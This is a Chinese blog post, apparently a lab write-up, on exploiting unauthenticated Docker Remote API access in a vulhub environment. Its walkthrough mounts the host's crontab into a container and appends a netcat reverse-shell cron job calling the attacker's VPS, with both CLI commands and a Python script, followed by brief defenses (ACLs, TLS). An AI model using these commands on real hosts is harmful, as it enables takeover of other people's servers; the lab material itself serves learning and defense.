未授权访问:Docker未授权访问漏洞

embedded/2024/10/18 21:26:19/

目录

1、漏洞原理

2、环境搭建

3、未授权访问

4、通过crontab反弹宿主机shell

防御手段


今天继续学习各种未授权访问的知识和相关的实操实验,一共有好多篇,内容主要是参考先知社区的一位大佬的关于未授权访问的好文章,还有其他大佬总结好的文章:

这里附上大佬的好文章链接:常见未授权访问漏洞总结 - 先知社区

我在这只是学习大佬总结好的相关的知识和实操实验,那么废话不多说,开整。

第六篇是关于Docker的未授权访问

1、漏洞原理

Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器

开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。

存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

2、环境搭建

# 下载环境
mkdir docker
cd docker 
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
​
#或者利用DownGit下载https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
DownGit网址:https://minhaskamal.github.io/DownGit/#/home

 下载漏洞环境:

chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境

 注:我的拉取环境好慢哟

但是最终还是拉取成功了

3、未授权访问

docker -H tcp://192.168.15.5:2375 version

可以看到成功的未授权访问到了版本信息

4、通过crontab反弹宿主机shell

下列操作均在攻击机上进行的操作:

vps监听9999端口

nc -lvnp 9999

启动容器 

docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://192.168.15.5:2375 ps

 进入容器

docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh 

添加任务计划

echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
​
cat /tmp/root # 查看/tmp/root 文件
​
exit #退出容器

反弹宿主机shell

 

可以看到攻击机(192.168,159.200)成功的反弹了ubuntu主机(192.168.159.202)的shell

也可以直接利用python脚本

import docker
​
client = docker.DockerClient(base_url='http://{target_ip}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

防御手段

  • -简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则。
  • -修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

到此,docker未授权访问最基础的知识也就学习完了,后面还有很对未授权的知识等着我去学习,下次见(*^▽^*)


http://www.ppmy.cn/embedded/40960.html

相关文章

7-Zip的介绍

目录 1.概述 2.历史 3.特点 4.功能 5.优势 6.实际价值 7.小结 1.概述 7-Zip是一款开源的文件压缩和解压缩软件,支持多种压缩格式,并且具有高度的压缩比和快速的压缩速度。本文将详细介绍7-Zip的历史、特点、功能、优势以及对用户的实际价值。 2.…

规则引擎drools Part5

规则引擎drools Part5 Drools Workbench Drools Workbench是可视化的规则编辑器,用来授权和管理业务规则。workbench的war包下载地址,安装到tomcat中就可以运行了。使用workbench可以在浏览器中创建数据对象、规则文件、测试场景并把规则部署到maven仓…

保姆级零基础微调大模型(LLaMa-Factory,多卡版)

此处非常感谢https://github.com/hiyouga/LLaMA-Factory这个项目。 看到网上的教程很多都是教如何用webui来微调的,这里出一期命令行多卡微调教程~ 1. 模型准备 模型下载比较方便的方法: 1. modelscope社区(首选,速度很高,并且很多需要申请的模型都有)注意要选择代码…

深度解析Nginx:高性能Web服务器的奥秘(下)

🐇明明跟你说过:个人主页 🏅个人专栏:《洞察之眼:ELK监控与可视化》🏅 🔖行路有良友,便是天堂🔖 目录 一、前言 1、Nginx概述 二、Nginx核心功能 1、URL重写与重…

Oracle的materialized view是什么怎么使用

Oracle的Materialized View,也就是物化视图,是一个强大的数据库对象。在Oracle 9i之前的版本中,它被称为SNAPSHOT,但从9i开始被更名为物化视图。 物化视图是远程数据的本地副本,或者用于生成基于数据表求和的汇总表。…

HarmonyOS开发之ArkTS使用:用户登录页面应用

目录 目录 前言 关于HarmonyOS 环境准备 新建项目 设计用户登录页面 1. 布局设计 2. 编写ArkTS代码 运行和测试 结束语 前言 随着HarmonyOS(鸿蒙操作系统)的不断发展,越来越多的开发者开始投入到这个全新的生态系统中,而…

JavaScript中常用的设计模式有很多种

JavaScript中常用的设计模式有很多种。具体如下: 创建型模式:用于描述如何创建对象,主要目的是将对象的创建和使用分离。包括: 单例模式(Singleton):确保一个类只有一个实例,并提供…

等保三级需要什么安全产品?

等保三级,即信息安全等级保护三级,是中国对信息系统安全等级保护的一个标准。实现等保三级要求,需要部署一系列安全产品来加强信息系统的安全性。以下是等保三级通常需要的安全产品及其作用概述: 防火墙:作为网络安全的…